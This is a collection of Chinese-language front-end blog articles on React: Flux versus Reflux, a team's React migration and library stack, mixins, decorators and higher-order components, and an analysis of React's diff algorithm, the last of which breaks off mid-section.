另外还有中间件系统。2、3两点，其实是函数式编程的基本概念，不变量和pure function。相比于传统的事件系统，Redux融入了不少functional reactive programming（FRP)的思想。

flux的特点

单dispatch，多store多state，用waitFor处理store的依赖。

reflux

多dispatch，多store多state。这个并没实际用过，看文档，应该是这样的。有问题，请提出。

后记

现在有种趋势，传统的事件系统逐渐让大家觉得low b，functional reactive programming（FRP）高大上。
Redux有一些FRP的思想，被大家觉得比Flux高大上，但是不是很复杂的项目，应该会有：卧槽，那么简单的东西，为毛有那么多文件，写得那么绕的感觉。

angular2中，RxJS将会是最大的门槛之一。

我觉得把，从能解决问题的复杂度上，FRP的确比传统的事件系统高级，但是概念也更多，不是特复杂的程序，这些概念只会增加你的开发难度，并且对后面维护的人要求更高。

Java那么多年，没RxJava，服务器端，android端，那么多年也挺过来了，虽然先进，不一定合适。我们现在自己的项目，使用的就是自己撸的一个小东西。对我们现在的规模，开发和维护都挺好的。


 简聊前端中的 React.js

作者：题叶

来源： 简聊前端中的 React.js



                    
原文贴在公司网站上, 半个月前发布的, 原文没有强制换行. 在这边备份一遍加上换行.
https://www.teambition.com/en/developer/blog/article?p=developer-blog&s=&_id=554c5296a37ffe95660eb0c0



更多关于 React 的消息可以看 React 中文社区导航页面:
http://nav.react-china.org



太早的事情需要看微博和 Git commits 记录才能知道了.
去年一月份我接触到过 React, 当时我关注的技术是 Ractive.
也是我快要到 Teambition 的时间, 简聊(https://jianliao.com/)也刚好是那时候开始的.
后来我关注的技术是 Vue, 直到 5 月份开始转投 React, 因为语法障碍克服了.
大致也就是现在简聊用 CoffeeScript 写 React 的原因.
用了 10 月中旬侧边栏引入了 React, 今年 1 月中旬去掉了 Backbone 依赖.

用这篇文章梳理一下, 目前简聊在 React 方面的进展, 以及有待研究的方面.

简述, 进展, 方向

	进展




React 在 Teambition 的使用范围限制在简聊这个单页面应用之内.
目前应用本身对 jQuery 依赖已经移除, DOM 操作也在之前全从 jQuery 迁移.
简聊代码中创建了 20 个左右公用组件, 大约 120 个其他的组件.

部分较通用的代码, 计划拆分为模块在 GitHub 托管, 以及进行后续维护,
实际感受单页面的组件绑定业务逻辑会比较多, 因此通用性也有折扣.

https://github.com/teambition/react-lite-dropdown
https://github.com/teambition/react-lite-layered
https://github.com/teambition/react-lite-uploader (试验性)
https://github.com/teambition/react-lite-misc

此前简聊代码使用的是 Backbone, 因此上面的对比基于 Backbone.
组件化, 界面的可维护性, 路由, DOM 操作的效率, 都提升得很好.
比如消息流之前加载很慢, 但是改成 React 之间自动合并了批量操作, 性能提升很明显.
View 部分是我们投入时间较多的部分, 功能也抓得比较紧.
React 对组件化的帮助非常大, 拆分模块非常方便, 因此简聊模块才特别多.
我也努力在让组件的通用性变得更强, 效果相对此前的 Backbone 也算满意.
另外 react-router 也很好得满足了我们的需要

我个人认为 jQuery 对 MVC 存在误导, 建议尽量避免手动的 DOM 操作.
Angular 跟 React 都是在 DOM 操作层面建立起更高级的抽象,
这个区别类似汇编语言的 goto label 结构跟高级语言的 for while 甚至 map reduce 方法的区别,
也就是对低级操作的细节进行封装.

	需要跟进




React 的数据层方案不够成熟, 实际上目前我们的数据层也极为简单.
仅仅是 JSON 保存的数据, 参考官方 Flux 写的简单的 store.
面临的问题是性能优化不够, 稳健性也没有好的方案保证.
初步想法是引入 immutable-js, 目前只是局部模块使用, 还需要改进.
而且 Flux 的问题需要更多的经验深入考虑一下才行, 比较重要.
相对 Backone 来说, 方案更灵活, 但业务逻辑相对不够清晰, 各有利弊.

服务端渲染对前端来说, 主要页面初次加载复杂的 API 请求逻辑不够清晰.
其次是加载速度.. 不过加载速度是服务端渲染一做马上就能改观的事情.
除了初次加载问题, 切换路由时的数据加载, 也是前后端共用代码的难点.
React 提供了机会可以尝试 Isomorphic JavaScript 应用, 深入到数据路由界面全部代码共用.
目前还在收集资料阶段, 没有深入研究, 理想的目标是能帮助到公司其他的页面构建.

React 当中跨组件共享状态有难点, 而且排斥使用全局事件干扰数据流.
我相信这种限制是代码稳定可靠的一个手段, 但也会增加开发的难度.
有时我在设想能否借鉴 Om 之类方案, 用全局数据更好地管理状态?
因为在逻辑当中存在的多样的状态交换, 实在是需要想办法支持的.
这个方面没有很清晰的进展, 需要投入时间去摸索.



类库使用

目前开发环境代码优化后体积超过 1M, 采用 Webpack 进行了分包:

480K  js/main.59ad3c68fa5199b1268f.js
812K  js/vendor.7127c2f31156396dd4e9.js
172K  css/main.59ad3c68fa5199b1268f.css

具体到类库方面首先是框架功能上必需的一些:


	react(132k)


	flux


	moment(36k)


	emojitfy.js


	xss


	favico.js


	react-router


	sockjs-client


	spiderjs




大模块:


	jquery(计划弃用) 84k


	webuploader 71k(html5 52k)


	https://github.com/mailru/FileAPI 43k(html5 34k)


	https://code.teambition.com/project/highlightjs/tree/master


	immutablejs https://github.com/facebook/immutable-js 56k


	lodash 50k




小模块:

全局事件 https://github.com/Wolfy87/EventEmitter
selection 处理 https://github.com/timdown/rangy/
Ajax 请求 https://github.com/ded/Reqwest
className 拼接 https://github.com/JedWatson/classnames
浏览器检测 https://github.com/ded/bowser
文件大小格式化 https://github.com/avoidwork/filesize.js
pen https://github.com/teambition/pen
pdfobject https://github.com/teambition/PDFObject
thenjs https://github.com/teambition/then.js/ 4.4k

CSS 模块

CSS 部分一个是图标字体的使用, 目前在公司统一的 UI 库当中.
也有 Bootstrap 的依赖, 而我一直在尝试弱化 Bootstrap 的部分.
目前只是部分引入, 希望以后有机会去除绝大部分 Bootstrap CSS.
Flexbox 是近期引入的, 为了提升代码质量开发效率, 放松兼容性, 有利有弊.


	tb-ui


	Bootstrap


	flex.less(Flexbox LESS mixin)






前端技术

React 部分

简聊整体建立在 React 跟 Webpack 上, 开发过程中一些资料放到了 SF.
这些我在社区交流比较多, 如果我们有更多时间整理技术, 会多做些交流.
因为我采用 CoffeeScript 书写 JSX, 跟社区很多可能理解有差别.


	React http://segmentfault.com/t/reactjs/blogs?page=2


	Webpack http://segmentfault.com/t/webpack/blogs




React-Hot-Replace 支持的热替换相比整页刷新方便了很多, 但也存在不足.
项目代码太多, 代码保存 2s 左右页面才能完成更新,
调试样式实时性不够, 甚至上线编译整个项目的时间也超过 40s.
js 报错的情况下, 依然需要手动刷新页面. 某些文件更改会导致页面整个刷新.
编译代码经过文件合并, 不如独立文件调试来得方便.

CSS

样式代码采用 LESS 为主, 我希望部分代码还是以 CSS 存在, 比如组件可以方面其他项目复用.
具体样式都参考 SMACSS 来进行规划, 效果比较好:

	SMACSS https://smacss.com/




另外随着 Flexbox 使用, 界面的结构化和代码的组件化会更轻松一些.
不过这个不是短期能搞定的, 而且具体兼容性还要花时间对付一下.

CSS 继承的问题是老大难, 非常难办, 继承完全不够在编写应用当中使用.
CSS 选择器极容易穿透组件作用到内层嵌套的组件当中.
单页面应用当中大量嵌套组件是非常常见的,  所以这明确是 CSS 的问题.
原本 CSS 本身不应该作为重点来应对, 但技术太不照顾单页面的场景了.
Web Components 普及之前似乎没有非常好的办法.

MV*

前端 MV* 模型的问题上, 基本上是 Flux, 而且还需要深入探索.
由于从 Backbone 转过来, 实际上代码用了大量的 listenTo 类似的实现.
嵌套太深, 于是内部的组件直接监听 store, 也显示出来 flux 在这方面不够强大.
我们没有采用第三方的管理 Store 或者 State 的类库, 而是官方基于 Demo 的手法改的:

	Flux https://github.com/facebook/flux/tree/master/examples/flux-chat/js




Flux 同时要考虑的还有上边说的 Isomorphic JavaScript 的问题.
我很认同 JavaScript 未来的方向, 借用一下 AirBnB 以前的一个图:

http://www.slideshare.net/spikebrehm/a-28174727?from_action=save


补充下这张图, 因为我们是全栈 JavaScript, 所以具体场景会有些区别.
这同时要求有更清晰的对于前后端数据同步等等的认识.. 有待探索.

招聘

Teambition 的应用目前都在单页面上走得挺远, 需要研究的技术问题也增多.
期待更多同学加入推进这些方面问题的解决, 具体看仓库上.

另外我们建立了一个 repo 叫做 webapp-solutions 计划在上边梳理一些我们遇到的问题以及解决方案,
不会是以 React 为主, 但是计划在其中放一些 React 相关的解决方案, 希望大家参与.


 React Mixin 的前世今生

作者：Arcthur

来源： React Mixin 的前世今生



                    
在 React component 构建过程中，常常有这样的场景，有一类功能要被不同的 Component 公用，然后看得到文档经常提到 Mixin（混入） 这个术语。此文就从 Mixin 的来源、含义、在 React 中的使用说起。

使用 Mixin 的缘由

Mixin 的特性一直广泛存在于各种面向对象语言。尤其在脚本语言中大都有原生支持，比如 Perl、Ruby、Python，甚至连 Sass 也支持。先来看一个在 Ruby 中使用 Mixin 的简单例子，

module D
  def initialize(name)
    @name = name
  end
  def to_s
    @name
  end
end

module Debug
  include D
  def who_am_i?
    "#{self.class.name} (\##{self.object_id}): #{self.to_s}"
  end
end

class Phonograph
  include Debug
  # ...
end

class EightTrack
  include Debug
  # ...
end

ph = Phonograph.new("West End Blues")
et = EightTrack.new("Real Pillow")
puts ph.who_am_i?  # Phonograph (#-72640448): West End Blues
puts et.who_am_i?  # EightTrack (#-72640468): Real Pillow

在 ruby 中 include 关键词即是 mixin，是将一个模块混入到一个另一个模块中，或是一个类中。为什么编程语言要引入这样一种特性呢？事实上，包括 C++ 等一些年龄较大的 OOP 语言，有一个强大但危险的多重继承特性。现代语言为了权衡利弊，大都舍弃了多重继承，只采用单继承。但单继承在实现抽象时有着诸多不便之处，为了弥补缺失，如 Java 就引入 interface，其它一些语言引入了像 Mixin 的技巧，方法不同，但都是为创造一种 类似多重继承 的效果，事实上说它是 组合 更为贴切。

在 ES 历史中，并没有严格的类实现，早期 YUI、MooTools 这些类库中都有自己封装类实现，并引入 Mixin 混用模块的方法。到今天 ES6 引入 class 语法，各种类库也在向标准化靠拢。

封装一个 Mixin 方法

看到这里，我们既然知道了广义的 mixin 方法的作用，那不妨试试自己封装一个 mixin 方法来感受下。

const mixin = function(obj, mixins) {
  const newObj = obj;
  newObj.prototype = Object.create(obj.prototype);

  for (let prop in mixins) {
    if (mixins.hasOwnProperty(prop)) {
      newObj.prototype[prop] = mixins[prop];
    }
  }

  return newObj;
}

const BigMixin = {
  fly: () => {
    console.log('I can fly');
  }
};

const Big = function() {
  console.log('new big');
};

const FlyBig = mixin(Big, BigMixin);

const flyBig = new FlyBig(); // 'new big'
flyBig.fly(); // 'I can fly'

对于广义的 mixin 方法，就是用赋值的方式将 mixins 对象里的方法都挂载到原对象上，就实现了对对象的混入。

是否看到上述实现会联想到 underscore 中的 extend 或 lodash 中的 assign 方法，或者说在 ES6 中一个方法 Object.assign()。它的作用是什么呢，MDN 上的解释是把任意多个的源对象所拥有的自身可枚举属性拷贝给目标对象，然后返回目标对象。

因为 JS 这门语言的特别，在没有提到 ES6 Classes 之前没有真正的类，仅是用方法去模拟对象，new 方法即为创建一个实例。正因为这样地弱，它也那样的灵活，上述 mixin 的过程就像对象拷贝一样。

那问题是 React component 中的 mixin 也是这样的吗？

React createClass

React 最主流构建 Component 的方法是利用 createClass 创建。顾名思义，就是创造一个包含 React 方法 Class 类。这种实现，官方提供了非常有用的 mixin 属性。我们就先来看看它来做 mixin 的方式是怎样的。

import React from 'react';
import PureRenderMixin from 'react-addons-pure-render-mixin';

React.createClass({
  mixins: [PureRenderMixin],

  render() {
    return <div>foo</div>;
  }
});

以官方封装的 PureRenderMixin 来举例，在 createClass 对象参数中传入一个 mixins 的数组，里面封装了我们所需要的模块。mixins 也可以增加多个重用模块，使用多个模块，方法之间的有重合会对普通方法和生命周期方法有所区分。

在不同的 mixin 里实现两个名字一样的普通方法，在常规实现中，后面的方法应该会覆盖前面的方法。那在 React 中是否一样会覆盖呢。事实上，它并不会覆盖，而是在控制台里报了一个在 ReactClassInterface 里的 Error，说你在尝试定义一个某方法在 component 中多于一次，这会造成冲突。因此，在 React 中是不允许出现重名普通方法的 Mixin。

如果是 React 生命周期定义的方法呢，是会将各个模块的生命周期方法叠加在一起，顺序执行。

因为，我们看到 createClass 实现的 mixin 为 Component 做了两件事：


	
工具方法

	这是 mixin 的基本功能，如果你想共享一些工具类方法，就可以定义它们，直接在各个 Component 中使用。






	
生命周期继承，props 与 state 合并


	这是 react mixin 特别也是重要的功能，它能够合并生命周期方法。如果有很多 mixin 来定义 componentDidMount 这个周期，那 React 会非常智能的将它们都合并起来执行。


	同样地，mixins 也可以作用在 getInitialState 的结果上，作 state 的合并，同时 props 也是这样合并。








未来的 React Classes

当 ECMAScript 发展到今天，这已经是一个百家争鸣的时代，各种优异的语言特性都出现在 ES6 和 ES7 的草案中。

React 在发展过程中一直崇尚拥抱标准，尽管它自己看上去是一个异类。当 React 0.13 释出的时候，React 增加并推荐使用 ES6 Classes 来构建 Component。但非常不幸，ES6 Classes 并不原生支持 mixin。尽管 React 文档中也未能给出解决方法，但如此重要的特性没有解决方案，也是一件十分困扰的事。

为了可以用这个强大的功能，还得想想其它方法，来寻找可能的方法来实现重用模块的目的。先回归 ES6 Classes，我们来想想怎么封装 mixin。

让 ES6 Class 与 Decorator 跳舞

要在 Class 上封装 mixin，就要说到 Class 的本质。ES6 没有改变 JavaScript 面向对象方法基于原型的本质，不过在此之上提供了一些语法糖，Class 就是其中之一，换汤不换药。

对于 Class 具体用法可以参考 MDN。目前 Class 仅是提供一些基本写法与功能，随着标准化的进展，相信会有更多的功能加入。

那对于实现 mixin 方法来说就没什么不一样了。但既然讲到了语法糖，就来讲讲另一个语法糖 Decorator，正巧可以来实现 Class 上的 mixin。

Decorator 在 ES7 中定义的新特性，与 Java 中的 pre-defined Annotations 相似。但与 Java 的 annotations 不同的是 decorators 是被运用在运行时的方法。在 Redux 或其他一些应用层框架中渐渐用 decorator 实现对 component 的『修饰』。现在，我们来用 decorator 来现实 mixin。

core-decorators.js 为开发者提供了一些实用的 decorator，其中实现了我们正想要的 @minxin。我们来解读一下核心实现。

import { getOwnPropertyDescriptors } from './private/utils';

const { defineProperty } = Object;

function handleClass(target, mixins) {
  if (!mixins.length) {
    throw new SyntaxError(`@mixin() class ${target.name} requires at least one mixin as an argument`);
  }

  for (let i = 0, l = mixins.length; i < l; i++) {
       // 获取 mixins 的 attributes 对象
    const descs = getOwnPropertyDescriptors(mixins[i]);

     // 批量定义 mixin 的 attributes 对象
    for (const key in descs) {
      if (!(key in target.prototype)) {
        defineProperty(target.prototype, key, descs[key]);
      }
    }
  }
}

export default function mixin(...mixins) {
  if (typeof mixins[0] === 'function') {
    return handleClass(mixins[0], []);
  } else {
    return target => {
      return handleClass(target, mixins);
    };
  }
}

它实现部分的源代码十分简单，它将每一个 mixin 对象的方法都叠加到 target 对象的原型上以达到 mixin 的目的。这样，就可以用 @mixin 来做多个重用模块的叠加了。

import React, { Component } from 'React';
import { mixin } from 'core-decorators';

const PureRender = {
  shouldComponentUpdate() {}
};

const Theme = {
  setTheme() {}
};

@mixin(PureRender, Theme)
class MyComponent extends Component {
  render() {}
}

细心的读者有没有发现这个 mixin 与 createClass 上的 mixin 有区别。上述实现 mixin 的逻辑和最早实现的简单逻辑是很相似的，之前直接给对象的 prototype 属性赋值，但这里用了 getOwnPropertyDescriptor  和 defineProperty 这两个方法，有什么区别呢？

事实上，这样实现的好处在于 defineProperty 这个方法，也是定义与赋值的区别，定义则是对已有的定义，赋值则是覆盖已有的定义。所以说前者并不会覆盖已有方法，后者是会的。本质上与官方的 mixin  方法都很不一样，除了定义方法级别的不能覆盖之外，还得加上对生命周期方法的继承，以及对 State 的合并。

再回到 decorator 身上，上述只是作用在类上的方法，还有作用在方法上的，它可以控制方法的自有属性，也可以作 decorator 工厂方法。在其它语言里，decorator 用途广泛，具体扩展不在本文讨论的范围。

讲到这里，对于 React 来说我们自然可以用上述方法来做 mixin。但 React 开发社区提出了『全新』的方式来取代 mixin，那就是 Higher-Order Components。

Higher-Order Components（HOCs）

Higher-Order Components（HOCs）最早由 Sebastian Markbåge（React 核心开发成员）在 gist 提出的一段代码。

Higher-Order 这个单词相信都很熟悉，Higher-Order function（高阶函数）在函数式编程是一个基本概念，它描述的是这样一种函数，接受函数作为输入，或是输出一个函数。比如常用的工具方法 map、reduce、sort 都是高阶函数。

而 HOCs 就很好理解了，将 Function 替代成 Component 就是所谓的高阶组件。如果说 mixin 是面向 OOP 的组合，那 HOCs 就是面向 FP 的组合。先看一个 HOC 的例子，

import React, { Component } from 'React';

const PopupContainer = (Wrapper) =>
  class WrapperComponent extends Component {
    componentDidMount() {
      console.log('HOC did mount')
    }

    componentWillUnmount() {
      console.log('HOC will unmount')
    }

    render() {
      return <Wrapper {...this.props} />;
    }
  }

上面例子中的 PopupContainer 方法就是一个 HOC，返回一个 React Component。值得注意的是 HOC 返回的总是新的 React Component。要使用上述的 HOC，那可以这么写。

import React, { Component } from 'React';

class MyComponent extends Component {
  render() {}
}

export default PopupContainer(MyStatelessComponent);

封装的 HOC 就可以一层层地嵌套，这个组件就有了嵌套方法的功能。对，就这么简单，保持了封装性的同时也保留了易用性。我们刚才讲到了 decorator，也可以用它转换。

import React, { Component } from 'React';

@PopupContainer
class MyComponent extends Component {
  render() {}
}

export default MyComponent;

简单地替换成作用在类上的 decorator，理解起来就是接收需要装饰的类为参数，返回一个新的内部类。恰与 HOCs 的定义完全一致。所以，可以认为作用在类上的 decorator 语法糖简化了高阶组件的调用。

如果有很多个 HOC 呢，形如 f(g(h(x)))。要不很多嵌套，要不写成 decorator 叠罗汉。再看一下它，有没有想到 FP 里的方法？

import React, { Component } from 'React';

// 来自 https://gist.github.com/jmurzy/f5b339d6d4b694dc36dd
let as = T => (...traits) => traits.reverse().reduce((T, M) => M(T), T);

class MyComponent extends as(Component)(Mixin1, Mixin2, Mixin3(param)) { }

绝妙的方法！或用更好理解的 compose 来做

import React, { Component } from 'React';
import R from 'ramda';

const mixins = R.compose(Mixin3(param), Mixin2, Mixin1);

class MyComponent extends mixins(Component) {}

讲完了用法，这种 HOC 有什么特殊之处呢，


	从侵入 class 到与 class 解耦，React 一直推崇的声明式编程优于命令式编程，而 HOCs 恰是。


	调用顺序不同于 React Mixin，上述执行生命周期的过程类似于 堆栈调用： didmount -> HOC didmount -> (HOCs didmount) -> (HOCs will unmount) ->  HOC will unmount -> unmount；


	HOCs 对于主 Component 来说是 隔离 的，this 变量不能传递，以至于不能传递方法，包括 ref。但可以用 context 来传递全局参数，一般不推荐这么做，很可能会造成开发上的困扰。




当然，HOCs 不仅是上述这一种方法，我们还可以利用 Class 继承 来写，再来一个例子，

const PopupContainer = (Wrapper) =>
  class WrapperComponent extends Wrapper {
    static propTypes = Object.assign({}, Component.propTypes, {
      foo: React.PropTypes.string,
    });

    componentDidMount() {
      super.componentDidMount && super.componentDidMount();
      console.log('HOC did mount')
    }

    componentWillUnmount() {
      super.componentWillUnmount && super.componentWillUnmount();
      console.log('HOC will unmount')
    }
  }

其实，这种方法与第一种构造是完全不一样的。区别在哪，仔细看 Wrapper 的位置处在了继承的位置。这种方法则要通用得多，它通过继承原 Component 来做，方法都是可以通过 super 来顺序调用。因为依赖于继承的机制，HOC 的调用顺序和 队列 是一样的。

didmount -> HOC didmount -> (HOCs didmount) -> will unmount -> HOC will unmount -> (HOC will unmount)

细心的你是否已经看出 HOCs 与 React Mixin 的顺序是反向的，很简单，将 super 执行放在后面就可以达到正向的目的，尽管看上去很怪。这种不同很可能会导致问题的产生。尽管它是未来可能的选项，但现在看还有不少问题。

总结

未来的 React 中 mixin 方案 已经有伪代码现实，还是利用继承特性来做。

而继承并不是 "React Way"，Sebastian Markbåge 认为实现更方便地 Compsition（组合）比做一个抽象的 mixin 更重要。而且聚焦在更容易的组合上，我们才可以摆脱掉 "mixin"。

对于『重用』，可以从语言层面上去说，都是为了可以更好的实现抽象，实现的灵活性与写法也存在一个平衡。在 React 未来的发展中，期待有更好的方案出现，同样期待 ES 未来的草案中有增加 Mixin 的方案。就今天来说，怎么去实现一个不复杂又好用的 mixin 是我们思考的内容。
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用ReactJS时不要使用MVC


我将通过列出一些单向数据流的例子来将ReactJS官方实现的Flux和我写的库Reflux作比较。


Facebook的ReactJS开发小组似乎并不待见MVC框架。将MVC模式和ReactJS结合使用了一段时间后，我似乎发现了争议从何而来了。你会遇到一个问题：你应该如何处理数据？ReactJS并不在乎太多关于数据是如何传入的或者贯穿整个Web应用去处理数据。这个几乎是一个架构层面的问题，并不是ReactJS所能涵盖的。于是Facebook中的优秀开发者提出了一个函数式的方法，他们称其为：Flux。


Flux的基本思想是可以在Web应用中拥有一个更加函数式的方法来处理数据。Flux介绍了Actions和Data Stores的概念来处理整个应用的事件和数据。数据流大致是这个样子的：


Action -> Data Store -> Component



数据的突变必须是在调用Actions时发生的，Data Stores需要监听actions并且改变store中的数据。这让数据结构保持扁平，并让数据的改变操作始终发生在Stores中，这防止了让Components自己处理数据所带来的副作用。


通过使用单向数据流，跟踪数据的改变将更加容易，因为它完全依赖于actions是如何发布的，继而影响整个应用。Components自身仅通过执行调用action来改变应用数据，这样避免了维护上的麻烦。


Todo Example vs Reflux


这里有一个供参考的例子，是官方的Todo-mvc。我将基于这个例子来做我的解构。


Facebook喜欢将Flux说成是通过函数式编程来创建应用的一种方式，不过我发现了一些过去命令式编程的趋势并且可以它可以被改进得更加简单并且更加具有函数式的实现。


Dispatcher的古怪


TODO的实现涉及到了一个Dispatcher，它打包了所有的actions。接下来，Data Stores需要这样：



	注册自己去监听action的事件，所有的actions


	为了区分actions之间的区别，Stores需要比较它们要监听的action的名字（静态字符串）



后面那一点让我感觉困惑，因为它有一点破坏了JavaScript可以做到的函数式编程之美。我很抵触去比较类型，不论是通过字符串还是用instanceof，因为它摒弃了多态性，仿佛是在维护一堆蠕虫。


在Reflux中，我决定将Dispatcher合并进Actions中，去掉了其单例的实现。所以当你在使用actions的时候，你的应用仅需要做两做事：



	创建actions

	通过回调函数来监听action的调用



Actions是通过Reflux.createAction来创建的，传递一个回调函数给action的listen方法，于是它就可以被任何Data Store监听。


// Creating action
var toggleGem = Reflux.createAction();

// Listening to action
var isGemActivated = false;

toggleGem.listen(function() { 
  isGemActivated = !isGemActivated;
  var strActivated = isGemActivated ?
    'activated' :
    'deactivated';
  console.log('Gem is ' + strActivated);
});



在Reflux中的Actions是带有event emitters的函数。如果你想了解它的一个简单的实现，可以参考这里。


在你的应用中修改数据只需要调用action：


toggleGem();

// The callback that listens to the action will output
// "Gem is activated"

toggleGem();

// Will output "Gem is deactivated"



让actions成为一个函数，而不是维护一堆静态字符串：


var Actions = {};

Actions.toggleGem = createAction(); 
Actions.polishGem = createAction(); 
// and so on...



Data Stores也可以这样类似的实现，Reflux提供了一个方便的createStore函数。那些涉足ReactJS组件开发的开发者会把它认为是和React.createClass一样可以工作：


// Creates a DataStore
var gemStore = Reflux.createStore({

    // Initial setup
    init: function() {
        this.isGemActivated = false;

        // Register statusUpdate action
        this.listenTo(toggleGem, this.handleToggleGem);
    },

    // Callback
    handleToggleGem: function() {
        this.isGemActivated = !this.isGemActivated;

        // Pass on to listeners through
        // the DataStore.trigger function
        this.trigger(this.isGemActivated);
    }

});



在一个store实例上有两个方便的方法：listenTo用于action的注册，trigger用于触发DataStore的change事件。


ReactJS组件可以通过监听这些Data Stores的方式来使用它们：


var Gem = React.createClass({ 
    componentDidMount: function() {
        // the listen function returns a
        // unsubscription convenience functor
        this.unsubscribe =
            gemStore.listen(this.onGemChange);
    },

    componentWillUnmount: function() {
        this.unsubscribe();
    },

    // The listening callback
    onGemChange: function(gemStatus) {
        this.setState({gemStatus: gemStatus});
    },

    render: function() {
        var gemStatusStr = this.state.gemStatus ?
            "activated" :
            "deactivated";   
        return (React.DOM.h1(null,
            'Gem is ' + gemStatusStr));
    }
});



waitFor到底在等什么？


另一个让我困惑的是TodoList例子的代码中包含了一个waitFor，函数式的特性被公然破坏了。情况是这样的：一个Data Store需要等待其他Data Store在特定的action被执行后完成它们的数据处理，这似乎违背了单向数据流的原则。


不如让Data Store同样是可以被监听的。在Reflux中，你可以让一个Data Store直接监听另一个Data Store的change事件来处理上述情况。


结论


在你的ReactJS项目中试试用Reflux，它使得设置Flux架构更加简单。bower（bower install reflux）或者npm（npm install reflux）来都可以来获取到这个库。
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目前，前端领域中 React 势头正盛，使用者众多却少有能够深入剖析内部实现机制和原理。本系列文章希望通过剖析 React 源码，理解其内部的实现原理，知其然更要知其所以然。

React diff 作为 Virtual DOM 的加速器，其算法上的改进优化是 React 整个界面渲染的基础，以及性能提高的保障，同时也是 React 源码中最神秘、最不可思议的部分，本文从源码入手，深入剖析 React diff 的不可思议之处。


	阅读本文需要对 React 有一定的了解，如果你不知何为 React，请详读 React 官方文档。


	如果你对 React diff 存在些许疑惑，或者你对算法优化感兴趣，那么本文值得阅读和讨论。




前言

React 中最值得称道的部分莫过于 Virtual DOM 与 diff 的完美结合，特别是其高效的 diff 算法，让用户可以无需顾忌性能问题而”任性自由”的刷新页面，让开发者也可以无需关心 Virtual DOM 背后的运作原理，因为 React diff 会帮助我们计算出 Virtual DOM 中真正变化的部分，并只针对该部分进行实际 DOM 操作，而非重新渲染整个页面，从而保证了每次操作更新后页面的高效渲染，因此 Virtual DOM 与 diff 是保证 React 性能口碑的幕后推手。

行文至此，可能会有读者质疑：React 无非就是引入 diff 这一概念，且 diff 算法也并非其首创，何必吹嘘的如此天花乱坠呢？

其实，正是因为 diff 算法的普识度高，就更应该认可 React 针对 diff 算法优化所做的努力与贡献，更能体现 React 开发者们的魅力与智慧！

传统 diff 算法

计算一棵树形结构转换成另一棵树形结构的最少操作，是一个复杂且值得研究的问题。传统 diff 算法通过循环递归对节点进行依次对比，效率低下，算法复杂度达到 O(n3)，其中 n 是树中节点的总数。O(n3) 到底有多可怕，这意味着如果要展示1000个节点，就要依次执行上十亿次的比较。这种指数型的性能消耗对于前端渲染场景来说代价太高了！现今的 CPU 每秒钟能执行大约30亿条指令，即便是最高效的实现，也不可能在一秒内计算出差异情况。

因此，如果 React 只是单纯的引入 diff 算法而没有任何的优化改进，那么其效率是远远无法满足前端渲染所要求的性能。

通过下面的 demo 可以清晰的描述传统 diff 算法的实现过程。

let result = [];
// 比较叶子节点
const diffLeafs = function(beforeLeaf, afterLeaf) {
  // 获取较大节点树的长度
  let count = Math.max(beforeLeaf.children.length, afterLeaf.children.length);
  // 循环遍历
  for (let i = 0; i < count; i++) {
    const beforeTag = beforeLeaf.children[i];
    const afterTag = afterLeaf.children[i];
    // 添加 afterTag 节点
    if (beforeTag === undefined) {
      result.push({type: "add", element: afterTag});
    // 删除 beforeTag 节点
    } else if (afterTag === undefined) {
      result.push({type: "remove", element: beforeTag});
    // 节点名改变时，删除 beforeTag 节点，添加 afterTag 节点
    } else if (beforeTag.tagName !== afterTag.tagName) {
      result.push({type: "remove", element: beforeTag});
      result.push({type: "add", element: afterTag});
    // 节点不变而内容改变时，改变节点
    } else if (beforeTag.innerHTML !== afterTag.innerHTML) {
      if (beforeTag.children.length === 0) {
        result.push({
          type: "changed",
          beforeElement: beforeTag,
          afterElement: afterTag,
          html: afterTag.innerHTML
      });
      } else {
        // 递归比较
        diffLeafs(beforeTag, afterTag);
      }
    }
  }
  return result;
}

因此，如果想要将 diff 思想引入 Virtual DOM，就需要设计一种稳定高效的 diff 算法，而 React 做到了！

那么，React diff 到底是如何实现的呢？

详解 React diff

传统 diff 算法的复杂度为 O(n3)，显然这是无法满足性能要求的。React 通过制定大胆的策略，将 O(n3) 复杂度的问题转换成 O(n) 复杂度的问题。

diff 策略


	Web UI 中 DOM 节点跨层级的移动操作特别少，可以忽略不计。


	拥有相同类的两个组件将会生成相似的树形结构，拥有不同类的两个组件将会生成不同的树形结构。


	对于同一层级的一组子节点，它们可以通过唯一 id 进行区分。




基于以上三个前提策略，React 分别对 tree diff、component diff 以及 element diff 进行算法优化，事实也证明这三个前提策略是合理且准确的，它保证了整体界面构建的性能。


	tree diff


	component diff


	element diff




本文中源码 ReactMultiChild.js



tree diff

基于策略一，React 对树的算法进行了简洁明了的优化，即对树进行分层比较，两棵树只会对同一层次的节点进行比较。

既然 DOM 节点跨层级的移动操作少到可以忽略不计，针对这一现象，React 通过 updateDepth 对 Virtual DOM 树进行层级控制，只会对相同颜色方框内的 DOM 节点进行比较，即同一个父节点下的所有子节点。当发现节点已经不存在，则该节点及其子节点会被完全删除掉，不会用于进一步的比较。这样只需要对树进行一次遍历，便能完成整个 DOM 树的比较。



updateChildren: function(nextNestedChildrenElements, transaction, context) {
  updateDepth++;
  var errorThrown = true;
  try {
    this._updateChildren(nextNestedChildrenElements, transaction, context);
    errorThrown = false;
  } finally {
    updateDepth--;
    if (!updateDepth) {
      if (errorThrown) {
        clearQueue();
      } else {
        processQueue();
      }
    }
  }
}

分析至此，大部分人可能都存在这样的疑问：如果出现了 DOM 节点跨层级的移动操作，React diff 会有怎样的表现呢？是的，对此我也好奇不已，不如试验一番。

如下图，A 节点（包括其子节点）整个被移动到 D 节点下，由于 React 只会简单的考虑同层级节点的位置变换，而对于不同层级的节点，只有创建和删除操作。当根节点发现子节点中 A 消失了，就会直接销毁 A；当 D 发现多了一个子节点 A，则会创建新的 A（包括子节点）作为其子节点。此时，React diff 的执行情况：create A -> create B -> create C -> delete A。

由此可发现，当出现节点跨层级移动时，并不会出现想象中的移动操作，而是以 A 为根节点的树被整个重新创建，这是一种影响 React 性能的操作，因此 React 官方建议不要进行 DOM 节点跨层级的操作。

注意：在开发组件时，保持稳定的 DOM 结构会有助于性能的提升。例如，可以通过 CSS 隐藏或显示节点，而不是真的移除或添加 DOM 节点。





component diff

React 是基于组件构建应用的，对于组件间的比较所采取的策略也是简洁高效。


	如果是同一类型的组件，按照原策略继续比较 virtual DOM tree。


	如果不是，则将该组件判断为 dirty component，从而替换整个组件下的所有子节点。


